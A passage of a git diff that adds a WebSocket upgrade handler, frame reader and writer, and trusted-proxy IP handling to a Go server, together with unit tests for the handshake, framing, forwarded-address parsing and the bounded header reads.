err) + _ = conn.Close() + return nil, "" + } + + if s.config.WSPath != "" && req.path != s.config.WSPath { + s.logger.Debug("wrapWebSocket: reject %s: path %q != %q", conn.RemoteAddr(), req.path, s.config.WSPath) + writeWSReject(conn, errWSProtocol) + _ = conn.Close() + return nil, "" + } + + accept := wsAcceptKey(req.key) + _ = conn.SetWriteDeadline(time.Now().Add(wsHandshakeTimeout)) + resp := "HTTP/1.1 101 Switching Protocols\r\n" + + "Upgrade: websocket\r\n" + + "Connection: Upgrade\r\n" + + "Sec-WebSocket-Accept: " + accept + "\r\n\r\n" + _, werr := io.WriteString(conn, resp) + _ = conn.SetWriteDeadline(time.Time{}) + if werr != nil { + _ = conn.Close() + return nil, "" + } + + realIP := "" + if s.trustedProxy(peer) { + realIP = reqForwardedIP(req.headers) + } + if realIP != "" { + s.logger.Info("WebSocket device from %s (forwarded by %s)", realIP, peer) + } else { + s.logger.Info("WebSocket device from %s", peer) + } + return newWSConn(conn, br), realIP +} + +// wsRequest is the parsed subset of an upgrade request the server needs. +type wsRequest struct { + path string + key string + headers map[string]string // lower-cased names; repeated headers joined by ", " +} + +// readWSRequest reads and validates the HTTP upgrade head. The buffered reader +// is left positioned at the first byte after the head so any frames the peer +// pipelined behind the request are preserved. +func readWSRequest(br *bufio.Reader, conn net.Conn) (*wsRequest, error) { + _ = conn.SetReadDeadline(time.Now().Add(wsHandshakeTimeout)) + defer func() { _ = conn.SetReadDeadline(time.Time{}) }() + + total := 0 + line, err := readWSLine(br, &total) + if err != nil { + return nil, err + } + parts := strings.Fields(line) + if len(parts) != 3 || parts[0] != "GET" || !strings.HasPrefix(parts[2], "HTTP/1.") { + return nil, errWSHandshake + } + req := &wsRequest{headers: make(map[string]string)} + req.path = parts[1] + if i := strings.IndexByte(req.path, '?'); i >= 0 { + req.path = req.path[:i] + } + + for { + line, err = readWSLine(br, &total) + if err != nil { + return nil, err + } + if line == "" { + break + } + name, value, ok := strings.Cut(line, ":") + if !ok { + return nil, errWSHandshake + } + name = strings.ToLower(strings.TrimSpace(name)) + value = strings.TrimSpace(value) + if prev, dup := req.headers[name]; dup { + req.headers[name] = prev + ", " + value + } else { + req.headers[name] = value + } + } + + if !headerHasToken(req.headers["upgrade"], "websocket") || + !headerHasToken(req.headers["connection"], "upgrade") { + return nil, errWSHandshake + } + req.key = req.headers["sec-websocket-key"] + if req.key == "" { + return nil, errWSHandshake + } + return req, nil +} + +// readWSLine reads one CRLF-terminated line, rejecting the peer as soon as the +// accumulated head exceeds wsMaxHandshakeBytes. The input is peer-controlled: +// a plain ReadString would buffer a newline-free line without limit. +func readWSLine(br *bufio.Reader, total *int) (string, error) { + var line []byte + for { + chunk, err := br.ReadSlice('\n') + line = append(line, chunk...) + *total += len(chunk) + if *total > wsMaxHandshakeBytes { + return "", errWSProtocol + } + if err == bufio.ErrBufferFull { + continue + } + if err != nil { + return "", err + } + return strings.TrimRight(string(line), "\r\n"), nil + } +} + +// headerHasToken reports whether a comma-separated header value contains token +// (case-insensitive), as required for Connection: keep-alive, Upgrade. +func headerHasToken(value, token string) bool { + for _, part := range strings.Split(value, ",") { + if strings.EqualFold(strings.TrimSpace(part), token) { + return true + } + } + return false +} + +// reqForwardedIP extracts the device's real address from a proxy's forwarded +// headers. The LAST X-Forwarded-For entry wins, not the first: nginx's +// $proxy_add_x_forwarded_for appends the address it accepted the connection +// from, so whatever a client prepends is ignored — the same rule web/ws.go's +// clientIP applies. Trusting the first entry would let a device rotate its key +// through the per-IP budget, the login throttle and the ConnAuth peer binding. +// X-Real-IP is only a fallback for proxies configured to set that and not XFF. +// Only IP literals are accepted, so a header cannot inject an arbitrary peer key. +func reqForwardedIP(headers map[string]string) string { + if xff := headers["x-forwarded-for"]; xff != "" { + last := strings.TrimSpace(xff[strings.LastIndexByte(xff, ',')+1:]) + if ip := headerIP(last); ip != "" { + return ip + } + } + return headerIP(headers["x-real-ip"]) +} + +func headerIP(s string) string { + s = strings.TrimSpace(s) + if i := strings.LastIndexByte(s, ':'); i > 0 && strings.Count(s, ":") == 1 { + // strip an IPv4:port pair, but leave bare IPv6 literals alone + if net.ParseIP(s[:i]) != nil { + s = s[:i] + } + } + if ip := net.ParseIP(s); ip != nil { + return ip.String() + } + return "" +} + +// wsAcceptKey computes Sec-WebSocket-Accept: base64(SHA1(key + magic GUID)). +func wsAcceptKey(key string) string { + h := sha1.New() + io.WriteString(h, key) + io.WriteString(h, wsMagicGUID) + return base64.StdEncoding.EncodeToString(h.Sum(nil)) +} + +func writeWSReject(conn net.Conn, reason error) { + status := "400 Bad Request" + body := "bad request" + if errors.Is(reason, errWSProtocol) { + body = "protocol error" + } + _ = conn.SetWriteDeadline(time.Now().Add(wsHandshakeTimeout)) + fmt.Fprintf(conn, "HTTP/1.1 %s\r\nContent-Type: text/plain\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", + status, len(body), body) +} + +// trustedProxy reports whether peer is allowed to set the device's real IP via +// forwarded headers. Without this check any direct client could spoof its +// address and, with it, the per-IP limits and the ConnAuth peer binding. +func (s *Server) trustedProxy(peer string) bool { + ip := net.ParseIP(peer) + if ip == nil { + return false + } + for _, n := range s.trustedProxies { + if n.Contains(ip) { + return true + } + } + return false +} + +// parseTrustedProxies converts configured IPs/CIDRs into networks. An empty or +// unparsable list falls back to loopback, the only sensible default for a +// proxy running on the same host as the server. +func parseTrustedProxies(list []string) []*net.IPNet { + var nets []*net.IPNet + for _, item := range list { + item = strings.TrimSpace(item) + if item == "" { + continue + } + if !strings.Contains(item, "/") { + if ip := net.ParseIP(item); ip != nil { + bits := 32 + if ip.To4() == nil { + bits = 128 + } + item = fmt.Sprintf("%s/%d", ip.String(), bits) + } + } + if _, n, err := net.ParseCIDR(item); err == nil { + nets = append(nets, n) + } + } + if len(nets) == 0 { + _, v4, _ := net.ParseCIDR("127.0.0.0/8") + _, v6, _ := net.ParseCIDR("::1/128") + nets = append(nets, v4, v6) + } + return nets +} + +// wsConn presents a WebSocket connection as a net.Conn byte stream: each Write +// becomes one binary frame and Read returns the concatenated payload of data +// frames, transparently answering pings and closes. Frame payloads are streamed +// rather than buffered whole, so a multi-megabyte upload allocates nothing here. +type wsConn struct { + conn net.Conn + r *bufio.Reader + + writeMu sync.Mutex + closeMu sync.Mutex + closed bool + + // state of the data frame currently being read + remaining int64 + masked bool + mask [4]byte + maskPos byte +} + +func newWSConn(conn net.Conn, r *bufio.Reader) *wsConn { + return &wsConn{conn: conn, r: r} +} + +// Read implements net.Conn. +func (c *wsConn) Read(p []byte) (int, error) { + if len(p) == 0 { + return 0, nil + } + for { + if c.remaining > 0 { + n := len(p) + if int64(n) > c.remaining { + n = int(c.remaining) + } + nr, err := io.ReadFull(c.r, p[:n]) + if nr > 0 { + if c.masked { + for i := 0; i < nr; i++ { + p[i] ^= c.mask[c.maskPos] + c.maskPos = (c.maskPos + 1) & 3 + } + } + c.remaining -= int64(nr) + } + if err != nil { + return nr, err + } + return nr, nil + } + + opcode, fin, length, masked, err := c.readFrameHeader() + if err != nil { + return 0, err + } + if opcode >= 0x8 { + if !fin || length > 125 { + return 0, errWSProtocol + } + payload, err := c.readControlPayload(int(length), masked) + if err != nil { + return 0, err + } + switch opcode { + case wsOpClose: + _ = c.writeFrame(wsOpClose, payload[:min(len(payload), 125)]) + return 0, io.EOF + case wsOpPing: + if err := c.writeFrame(wsOpPong, payload); err != nil { + return 0, err + } + case wsOpPong: + // ignore + default: + return 0, errWSProtocol + } + continue + } + + switch opcode { + case wsOpBinary, wsOpText, wsOpContinuation: + default: + return 0, errWSProtocol + } + if length == 0 { + continue + } + c.remaining = length + c.masked = masked + c.maskPos = 0 + } +} + +// readFrameHeader reads and validates a frame header. Frames from the client +// are normally masked; unmasked data frames are tolerated because the only +// speakers on this port are YAMA's own clients. +func (c *wsConn) readFrameHeader() (opcode byte, fin bool, length int64, masked bool, err error) { + var hdr [2]byte + if _, err = io.ReadFull(c.r, hdr[:]); err != nil { + return + } + if hdr[0]&0x70 != 0 { + return 0, false, 0, false, errWSProtocol // RSV bits set without a negotiated extension + } + fin = hdr[0]&0x80 != 0 + opcode = hdr[0] & 0x0f + masked = hdr[1]&0x80 != 0 + length = int64(hdr[1] & 0x7f) + + switch length { + case 126: + var ext [2]byte + if _, err = io.ReadFull(c.r, ext[:]); err != nil { + return + } + length = int64(binary.BigEndian.Uint16(ext[:])) + case 127: + var ext [8]byte + if _, err = io.ReadFull(c.r, ext[:]); err != nil { + return + } + u := binary.BigEndian.Uint64(ext[:]) + if u > 1<<62 { + return 0, false, 0, false, errWSProtocol + } + length = int64(u) + } + + if masked { + if _, err = io.ReadFull(c.r, c.mask[:]); err != nil { + return + } + } + return opcode, fin, length, masked, nil +} + +func (c *wsConn) readControlPayload(n int, masked bool) ([]byte, error) { + payload := make([]byte, n) + if _, err := io.ReadFull(c.r, payload); err != nil { + return nil, err + } + if masked { + for i := range payload { + payload[i] ^= c.mask[i&3] + } + } + return payload, nil +} + +// Write implements net.Conn: one binary frame per call. The app protocol's +// sends are already whole packets (Context.Send), so this keeps writes atomic +// and lets the peer deliver each packet as it was produced. +func (c *wsConn) Write(p []byte) (int, error) { + if err := c.writeFrame(wsOpBinary, p); err != nil { + return 0, err + } + return len(p), nil +} + +// writeFrame emits one FIN frame with the given opcode. +func (c *wsConn) writeFrame(opcode byte, payload []byte) error { + var hdr [10]byte + hdr[0] = 0x80 | opcode + n := 2 + switch { + case len(payload) < 126: + hdr[1] = byte(len(payload)) + case len(payload) <= 0xffff: + hdr[1] = 126 + binary.BigEndian.PutUint16(hdr[2:], uint16(len(payload))) + n = 4 + default: + hdr[1] = 127 + binary.BigEndian.PutUint64(hdr[2:], uint64(len(payload))) + n = 10 + } + + c.writeMu.Lock() + defer c.writeMu.Unlock() + bufs := net.Buffers{hdr[:n], payload} + if _, err := bufs.WriteTo(c.conn); err != nil { + return err + } + return nil +} + +// Close sends a best-effort close frame and closes the transport. +func (c *wsConn) Close() error { + c.closeMu.Lock() + if c.closed { + c.closeMu.Unlock() + return nil + } + c.closed = true + c.closeMu.Unlock() + + _ = c.conn.SetWriteDeadline(time.Now().Add(time.Second)) + _ = c.writeFrame(wsOpClose, nil) + return c.conn.Close() +} + +func (c *wsConn) LocalAddr() net.Addr { return c.conn.LocalAddr() } +func (c *wsConn) RemoteAddr() net.Addr { return c.conn.RemoteAddr() } + +func (c *wsConn) SetDeadline(t time.Time) error { return c.conn.SetDeadline(t) } +func (c *wsConn) SetReadDeadline(t time.Time) error { return c.conn.SetReadDeadline(t) } +func (c *wsConn) SetWriteDeadline(t time.Time) error { return c.conn.SetWriteDeadline(t) } diff --git a/server/go/server/ws_test.go b/server/go/server/ws_test.go new file mode 100644 index 0000000..8e48f40 --- /dev/null +++ b/server/go/server/ws_test.go @@ -0,0 +1,407 @@ +package server + +import ( + "bufio" + "bytes" + "encoding/binary" + "errors" + "io" + "net" + "strings" + "testing" + "time" +) + +// wsTestPair dials a loopback listener, runs the server side of wrapWebSocket +// on the accepted connection, performs the upgrade handshake, and returns both +// ends. The loopback peer makes the test connection a trusted proxy, so the +// forwarded-address path is exercised too. +func wsTestPair(t *testing.T, s *Server, path string, extra map[string]string) (*wsConn, net.Conn, *bufio.Reader, string, string) { + t.Helper() + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + defer ln.Close() + + type result struct { + conn net.Conn + ip string + } + resCh := make(chan result, 1) + go func() { + srv, err := ln.Accept() + if err != nil { + resCh <- result{} + return + } + conn, ip := s.wrapWebSocket(srv, peerIP(srv.RemoteAddr())) + resCh <- result{conn, ip} + }() + + cli, err := net.Dial("tcp", ln.Addr().String()) + if err != nil { + t.Fatalf("dial: %v", err) + } + t.Cleanup(func() { cli.Close() }) + _ = cli.SetDeadline(time.Now().Add(10 * time.Second)) + + // Write the upgrade request concurrently: the server blocks in its sniff + // until the first bytes arrive. + var b strings.Builder + b.WriteString("GET " + path + " HTTP/1.1\r\n") + b.WriteString("Host: yama.example.com\r\n") + b.WriteString("Upgrade: websocket\r\n") + b.WriteString("Connection: Upgrade\r\n") + b.WriteString("Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n") + b.WriteString("Sec-WebSocket-Version: 13\r\n") + for k, v := range extra { + b.WriteString(k + ": " + v + "\r\n") + } + b.WriteString("\r\n") + go func() { _, _ = io.WriteString(cli, b.String()) }() + + br := bufio.NewReader(cli) + head := &strings.Builder{} + for { + line, err := br.ReadString('\n') + if err != nil { + t.Fatalf("read response: %v", err) + } + head.WriteString(line) + if line == "\r\n" || line == "\n" { + break + } + } + + res := <-resCh + if res.conn == nil { + t.Fatalf("wrapWebSocket rejected the connection:\n%s", head.String()) + } + t.Cleanup(func() { res.conn.Close() }) + wc, ok := res.conn.(*wsConn) + if !ok { + t.Fatalf("wrapWebSocket returned %T, want *wsConn", res.conn) + } + _ = wc.SetDeadline(time.Now().Add(10 * time.Second)) + return wc, cli, br, head.String(), res.ip +} + +// clientFrame builds a masked client frame (the only form a server should see). +func clientFrame(opcode byte, payload []byte) []byte { + var hdr []byte + hdr = append(hdr, 0x80|opcode) // FIN + opcode + mask := [4]byte{0x37, 0xfa, 0x21, 0x3d} + n := len(payload) + switch { + case n < 126: + hdr = append(hdr, byte(n)|0x80) + case n <= 0xffff: + hdr = append(hdr, 126|0x80, byte(n>>8), byte(n)) + default: + hdr = append(hdr, 127|0x80) + var ext [8]byte + binary.BigEndian.PutUint64(ext[:], uint64(n)) + hdr = append(hdr, ext[:]...) + } + hdr = append(hdr, mask[:]...) + body := make([]byte, n) + for i := range payload { + body[i] = payload[i] ^ mask[i&3] + } + return append(hdr, body...) +} + +// serverFrame reads one unmasked frame produced by the server. +func serverFrame(t *testing.T, br *bufio.Reader) (byte, []byte) { + t.Helper() + var hdr [2]byte + if _, err := io.ReadFull(br, hdr[:]); err != nil { + t.Fatalf("read frame header: %v", err) + } + n := int(hdr[1] & 0x7f) + switch n { + case 126: + var ext [2]byte + if _, err := io.ReadFull(br, ext[:]); err != nil { + t.Fatalf("read ext len: %v", err) + } + n = int(binary.BigEndian.Uint16(ext[:])) + case 127: + var ext [8]byte + if _, err := io.ReadFull(br, ext[:]); err != nil { + t.Fatalf("read ext len: %v", err) + } + n = int(binary.BigEndian.Uint64(ext[:])) + } + if hdr[1]&0x80 != 0 { + t.Fatalf("server frame is masked") + } + payload := make([]byte, n) + if _, err := io.ReadFull(br, payload); err != nil { + t.Fatalf("read frame payload: %v", err) + } + return hdr[0] & 0x0f, payload +} + +func TestWebSocketUpgradeAndTunnel(t *testing.T) { + s := New(DefaultConfig()) + // A device that prepends its own XFF entry must not be believed: nginx + // appends the address it accepted the connection from on the right. + wc, cli, br, head, realIP := wsTestPair(t, s, "/api/socket", map[string]string{ + "X-Forwarded-For": "203.0.113.9, 198.51.100.20", + }) + if !strings.HasPrefix(head, "HTTP/1.1 101 ") { + t.Fatalf("unexpected response head:\n%s", head) + } + // RFC 6455 sample key -> known accept value. + if !strings.Contains(head, "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") { + t.Fatalf("missing/incorrect accept key:\n%s", head) + } + if realIP != "198.51.100.20" { + t.Fatalf("forwarded real IP = %q, want 198.51.100.20 (last XFF entry)", realIP) + } + + // Client -> server: app bytes arrive as a plain stream. + payload := []byte("Shine\x00\x00\x00\x03abc") + if _, err := cli.Write(clientFrame(wsOpBinary, payload)); err != nil { + t.Fatalf("write frame: %v", err) + } + got := make([]byte, len(payload)) + if _, err := io.ReadFull(wc, got); err != nil { + t.Fatalf("read tunneled bytes: %v", err) + } + if !bytes.Equal(got, payload) { + t.Fatalf("tunneled bytes = %q, want %q", got, payload) + } + + // Server -> client: each Write becomes one binary frame. + if _, err := wc.Write([]byte("pong-data")); err != nil { + t.Fatalf("write: %v", err) + } + opcode, body := serverFrame(t, br) + if opcode != wsOpBinary || string(body) != "pong-data" { + t.Fatalf("server frame = opcode %d payload %q", opcode, body) + } +} + +func TestWebSocketPingPongAndClose(t *testing.T) { + s := New(DefaultConfig()) + wc, cli, br, _, _ := wsTestPair(t, s, "/x", nil) + + // A ping is answered with a pong carrying the same payload, and the app + // stream is unaffected. + if _, err := cli.Write(clientFrame(wsOpPing, []byte("hi"))); err != nil { + t.Fatalf("write ping: %v", err) + } + readDone := make(chan error, 1) + go func() { + buf := make([]byte, 8) + _, err := wc.Read(buf) + readDone <- err + }() + opcode, body := serverFrame(t, br) + if opcode != wsOpPong || string(body) != "hi" { + t.Fatalf("pong = opcode %d payload %q", opcode, body) + } + + // A close frame ends the pending Read with EOF and is echoed. + if _, err := cli.Write(clientFrame(wsOpClose, []byte{0x03, 0xe8})); err != nil { + t.Fatalf("write close: %v", err) + } + if err := <-readDone; err != io.EOF { + t.Fatalf("Read after close = %v, want io.EOF", err) + } + opcode, _ = serverFrame(t, br) + if opcode != wsOpClose { + t.Fatalf("close echo opcode = %d", opcode) + } +} + +func TestWebSocketLargeFrameStreams(t *testing.T) { + s := New(DefaultConfig()) + wc, cli, _, _, _ := wsTestPair(t, s, "/x", nil) + + payload := bytes.Repeat([]byte("0123456789ABCDEF"), 64*1024) // 1 MiB + frame := clientFrame(wsOpBinary, payload) + go func() { _, _ = cli.Write(frame) }() + + got := make([]byte, len(payload)) + if _, err := io.ReadFull(wc, got); err != nil { + t.Fatalf("read large frame: %v", err) + } + if !bytes.Equal(got, payload) { + t.Fatalf("large frame corrupted") + } +} + +func TestWebSocketRejectsBadHandshake(t *testing.T) { + tests := []struct { + name string + req string + path string + allow bool + }{ + { + name: "not an upgrade", + req: "GET / HTTP/1.1\r\nHost: h\r\n\r\n", + }, + { + name: "missing key", + req: "GET / HTTP/1.1\r\nHost: h\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n\r\n", + }, + { + name: "wrong path", + req: "GET /other HTTP/1.1\r\nHost: h\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n" + + "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n", + path: "/api/socket", + }, + { + name: "path match with query string", + req: "GET /api/socket?v=1 HTTP/1.1\r\nHost: h\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n", + path: "/api/socket", + allow: true, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + cfg := DefaultConfig() + cfg.WSPath = tt.path + s := New(cfg) + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + defer ln.Close() + + resCh := make(chan net.Conn, 1) + go func() { + srv, err := ln.Accept() + if err != nil { + resCh <- nil + return + } + conn, _ := s.wrapWebSocket(srv, peerIP(srv.RemoteAddr())) + resCh <- conn + }() + + cli, err := net.Dial("tcp", ln.Addr().String()) + if err != nil { + t.Fatalf("dial: %v", err) + } + defer cli.Close() + _ = cli.SetDeadline(time.Now().Add(10 * time.Second)) + if _, err := io.WriteString(cli, tt.req); err != nil { + t.Fatalf("write: %v", err) + } + + conn := <-resCh + if tt.allow { + if conn == nil { + t.Fatalf("connection rejected, want accepted") + } + return + } + if conn != nil { + t.Fatalf("connection accepted, want rejected") + } + br := bufio.NewReader(cli) + line, err := br.ReadString('\n') + if err != nil { + t.Fatalf("read reject response: %v", err) + } + if !strings.HasPrefix(line, "HTTP/1.1 400 ") { + t.Fatalf("reject status = %q", strings.TrimSpace(line)) + } + }) + } +} + +func TestWSForwardedIP(t *testing.T) { + tests := []struct { + name string + headers map[string]string + want string + }{ + {"x-real-ip", map[string]string{"x-real-ip": "198.51.100.7"}, "198.51.100.7"}, + {"xff single", map[string]string{"x-forwarded-for": "198.51.100.8"}, "198.51.100.8"}, + // The rightmost entry is the one the trusted proxy appended; a device + // that prepends a made-up address must not be able to choose its key. + {"xff chain takes rightmost", map[string]string{"x-forwarded-for": "198.51.100.9, 10.0.0.1, 10.0.0.2"}, "10.0.0.2"}, + {"spoofed xff head ignored", map[string]string{"x-forwarded-for": "1.2.3.4, 198.51.100.10"}, "198.51.100.10"}, + {"xff wins over x-real-ip", map[string]string{"x-real-ip": "198.51.100.7", "x-forwarded-for": "198.51.100.9"}, "198.51.100.9"}, + {"garbage rightmost falls back", map[string]string{"x-forwarded-for": "198.51.100.11, not-an-ip"}, ""}, + {"x-real-ip fallback", map[string]string{"x-real-ip": "198.51.100.7", "x-forwarded-for": "not-an-ip"}, "198.51.100.7"}, + {"v4 with port", map[string]string{"x-real-ip": "198.51.100.7:5555"}, "198.51.100.7"}, + {"ipv6 literal", map[string]string{"x-real-ip": "2001:db8::1"}, "2001:db8::1"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := reqForwardedIP(tt.headers); got != tt.want { + t.Errorf("reqForwardedIP(%v) = %q, want %q", tt.headers, got, tt.want) + } + }) + } +} + +// A header line that never ends must be rejected as soon as the handshake +// budget is exhausted, not buffered until the process runs out of memory. +func TestReadWSLineBounded(t *testing.T) { + br := bufio.NewReader(bytes.NewReader(bytes.Repeat([]byte{'A'}, 1<<20))) + total := 0 + _, err := readWSLine(br, &total) + if !errors.Is(err, errWSProtocol) { + t.Fatalf("err = %v, want errWSProtocol", err) + } + if total > wsMaxHandshakeBytes+br.Size() { + t.Fatalf("read %d bytes, want at most %d", total, wsMaxHandshakeBytes+br.Size()) + } + + // A normal line still parses. + br = bufio.NewReader(strings.NewReader("GET /api/ws HTTP/1.1\r\n")) + total = 0 + line, err := readWSLine(br, &total) + if err != nil || line != "GET /api/ws HTTP/1.1" { + t.Fatalf("line = %q, err = %v", line, err) + } +} + +func TestTrustedProxies(t *testing.T) { + s := New(DefaultConfig()) + if !s.trustedProxy("127.0.0.1") || !s.trustedProxy("::1") { + t.Fatal("loopback must be trusted by default") + } + if s.trustedProxy("203.0.113.9") { + t.Fatal("public peer must not be trusted by default") + } + + cfg := DefaultConfig() + cfg.TrustedProxies = []string{"10.0.0.0/8", "203.0.113.9"} + s = New(cfg) + if !s.trustedProxy("10.1.2.3") || !s.trustedProxy("203.0.113.9") { + t.Fatal("configured proxies must be trusted") + } + if s.trustedProxy("127.0.0.1") { + t.Fatal("an explicit list replaces the loopback defaults") + } +} + +func TestHeaderHasToken(t *testing.T) { + tests := []struct { + value string + token string + want bool + }{ + {"Upgrade", "upgrade", true}, + {"keep-alive, Upgrade", "upgrade", true}, + {"upgrade, keep-alive", "upgrade", true}, + {"keep-alive", "upgrade", false}, + {"", "upgrade", false}, + } + for _, tt := range tests { + if got := headerHasToken(tt.value, tt.token); got != tt.want { + t.Errorf("headerHasToken(%q, %q) = %v, want %v", tt.value, tt.token, got, tt.want) + } + } +}